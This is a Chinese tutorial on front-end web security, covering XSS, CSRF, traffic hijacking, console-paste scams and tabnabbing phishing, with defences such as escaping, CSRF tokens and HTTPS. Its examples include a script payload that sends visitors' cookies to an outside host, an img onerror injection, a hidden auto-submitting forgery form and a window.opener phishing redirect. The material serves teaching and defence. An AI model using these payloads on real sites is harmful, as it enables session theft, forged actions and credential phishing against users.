Web前端安全问题

1.XSS跨站脚本攻击(Cross Site Scripting)

1）通过<script>

举个例子：通过QQ群，或者通过群发垃圾邮件，来让其他人点击这个地址：

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

这样我们就可以获取别人的cookie信息了

2) 能过append

<?php

    $username="\u003cscript\u003ealert('okok');";

?>

<!DOCYTPE HTML>

<html>

    <head>

        <meta charset="utf-8" />

        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>

    </head>

    <body>

        <div>

            用户名：<?php echo htmlentities($username);?>

        </div>

        <div>

            第一条状态：侯医生的状态1

        </div>

        <div>

            第二条状态：侯医生的状态2

        </div>

        <div>

            第三条状态：侯医生的状态3

        </div>

        <div>版权所有：<span id="username_info"></span></div>

        <script>

            $('#username_info').append("<?php echo htmlentities($username);?>");

        </script>

    </body>

</html>

这样能过echo还是可以执行对应的脚本的

3）能过Img标签

在加载图片失败的时候，会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。

<?php

    $username="<script>alert('侯医生');</script>";

    $imgsrc="\" onerror=\"javascript:alert('侯医生');\"";

?>

<!DOCYTPE HTML>

<html>

    <head>

        <meta charset="utf-8" />

    </head>

    <body>

        <div>

            用户名：<?php echo htmlentities($username);?>

        </div>

        <div>

            第一条状态：侯医生的状态1，这个是图片：

            <img src="<?php echo $imgsrc;?>" />

        </div>

        <div>

            第二条状态：侯医生的状态2

        </div>

        <div>

            第三条状态：侯医生的状态3

        </div>

    </body>

</html>

结果就是：

升级防御

看来，我们需要再次进行防御升级了，我们将输出的字符串中的\反斜杠进行转义(json转义)。这样，\就不会被当做unicode码的开头来被处理了。代码如下：

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

4）如果黑客在URL的这个参数中，加入js代码，这样便又会被执行

像这种从url中获取的信息，笔者建议，最好由后端获取，在前端转义后再行输出

<script>

    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");

    $('#username_info').append(value);

</script>

2.CSRF攻击

CSRF（Cross-site request forgery跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。
其实就是网站中的一些提交行为，被黑客利用，你在访问黑客的网站的时候，进行的操作，会被操作到其他网站上(如：你所使用的网络银行的网站)。

原理：1、你在一个网站上登录过有cookie信息。2、你再访问别的网站进行操作的时候，这个网站向你之前的网站发送请求。

例如：你的代码

<?php

$username = $_COOKIE['username'];

// 换为post了，可以规避黑客直接的提交

$productId = $_POST['pid'];

// 这里进行购买操作

//store_into_database($username, $productId);

?>

<meta charset="utf-8" />

<?php

echo $username . '买入商品：' . $productId;

?>

黑客代码如下：

<!DOCYTPE HTML>

<html>

    <head>

        <meta charset="utf-8" />

        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>

    </head>

    <body>

        <button id="clickme">点我看相册</button>

        <script>

            $('#clickme').on('click', function () {

                // 用户再不知情的情况下，提交了表单，服务器这边也会以为是用户提交过来的。

                $('#myform').submit();

            });

        </script>

        <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">

            <input type="hidden" name="pid" value="">

        </form>

        <iframe name="myformer" style="display:none;"></iframe>

    </body>

</html>

预防这种的办法就是：

1.增加token验证.因为cookie发送请求的时候会自动增加上，但是token却不会，这样就避免了攻击

2.Referer验证。页面来源的判断

3.网络劫持攻击

很多的时候，我们的网站不是直接就访问到我们的服务器上的，中间会经过很多层代理，如果在某一个环节，数据被中间代理层的劫持者所截获，他们就能获取到使用你网站的用户的密码等保密数据。比如，我们的用户经常会在各种饭馆里面，连一些奇奇怪怪的wifi，如果这个wifi是黑客所建立的热点wifi，那么黑客就可以结果该用户收发的所有数据。这里，建议站长们网站都使用https进行加密。这样，就算网站的数据能被拿到，黑客也无法解开。

如果你的网站还没有进行https加密的化，则在表单提交部分，最好进行非对称加密--即客户端加密，只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。

4.控制台注入代码

不知道各位看官有没有注意到天猫官网控制台的警告信息，如图4.1所示，这是为什么呢？因为有的黑客会诱骗用户去往控制台里面粘贴东西（欺负小白用户不懂代码），比如可以在朋友圈贴个什么文章，说:"只要访问天猫，按下F12并且粘贴以下内容，则可以获得xx元礼品"之类的，那么有的用户真的会去操作，并且自己隐私被暴露了也不知道。

5钓鱼

钓鱼也是一种非常古老的攻击方式了，其实并不太算前端攻击。可毕竟是页面级别的攻击，我们也来一起聊一聊。我相信很多人会有这样的经历，QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了，详情在我QQ空间里啦，之类的连接。打开之后发现一个QQ登录框，其实一看域名就知道不是QQ，不过做得非常像QQ登录，不明就里的用户们，就真的把用户名和密码输入了进去，结果没登录到QQ，用户名和密码却给人发过去了。
其实这种方式，在前端也有利用。下面，我们就来试试如果利用前端进行一次逼真的钓鱼。
1 首先，我们在xx空间里分享一篇文章，然后吸引别人去点击。

<!DOCYTPE HTML>

<html>

    <head>

        <meta charset="utf-8" />

    </head>

    <body>

        <div>

        当前你在xx空间

        </div>

        <h1>侯博士的分享</h1>

        <section>

        咱们班当年班花，现在长这样：

        <!--这是咱们的钓鱼网站-->

        <a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">点我查看</a>

        </section>

    </body>

</html>

2 接着，我们在cheat.php这个网站上面，将跳转过来的源网页地址悄悄的进行修改

<!DOCYTPE HTML>

<html>

    <head>

        <meta charset="utf-8" />

        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>

    </head>

    <body>

        你想看的信息：

        xxxxxxxxxxxxxx

        xxxxxxxxxxxxxx

        <script>

            // 在用户不知情的情况下，对跳转的来源网页进行地址替换

            window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';

        </script>

    </body>

</html>

于是，在用户访问了我们的欺骗网站后，之前的tab已经悄然发生了变化，我们将其悄悄的替换为了钓鱼的网站，欺骗用户输入用户名、密码等。

引自https://segmentfault.com/a/1190000006672214